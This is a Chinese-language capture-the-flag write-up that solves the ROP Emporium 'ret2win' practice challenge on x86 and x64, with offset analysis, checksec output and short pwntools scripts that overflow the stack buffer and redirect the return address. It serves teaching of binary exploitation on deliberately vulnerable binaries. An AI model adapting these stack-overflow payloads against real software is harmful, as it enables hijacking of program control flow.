-
-
[原创]ROP Emporium(一) ret2win
-
2021-1-6 10:27
9105
-
[原创]ROP Emporium(一) ret2win
ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
简单说一下,ROP Emporium 是通过一系列ROP(Return-oriented programming)相关的题目挑战来学习ROP,同时尽量减少反向工程或错误查找。
该项目同时提供了Beginners' Guide : https://ropemporium.com/guide.html
该项目共提供了七道题,难度跨度从ret2text到ret2csu。每一道题提供了四种架构包括x86、x64、arm和mips,我将会记录x86和x64解题过程。
x86
1.检查保护
未开启栈溢出保护
2.分析
func main:
调用了pwnme()
func pwnme:
- memset为s开辟了0x20字节的空间,read向s中写入了0x38字节的数据,很明显溢出了。
- 根据s对于ebp的偏移为 ebp-28h ,则s对于ret addr的偏移为 0x28 + 4(ebp的长度)
继续看,看到func ret2win:
基本思路明确,利用栈溢出覆盖返回地址,将返回地址修改成ret2win
的地址就可以
3.构造EXP
1 2 3 4 5 6 7 8 9 | from pwn import *
p = process( "./ret2win32" )
payload = "\x00" * 0x28 + p32( 0xdeadbeef ) + p32( 0x804862C )
p.sendline(payload)
p.interactive()
|
x64
1.check
1 2 3 4 5 6 7 | checksec . / ret2win
[ * ] '/mnt/hgfs/CTF/pwn/rop_emporium_all_challenges /ret2win/ret2win'
Arch: amd64 - 64 - little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE ( 0x400000 )
|
2.分析
结构和32位的一样,payload需要重新设定偏移,并且将p32改成p64
payload = "\x00" * 0x20 + p64(0xdeadbeef) + p64(0x400756)
exp
1 2 3 4 5 6 7 8 9 10 | from pwn import *
p = process( './ret2win' )
payload = "\x00" * 0x20 + p64( 0xdeadbeef ) + p64( 0x400756 )
p.sendline(payload)
p.interactive()
|
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。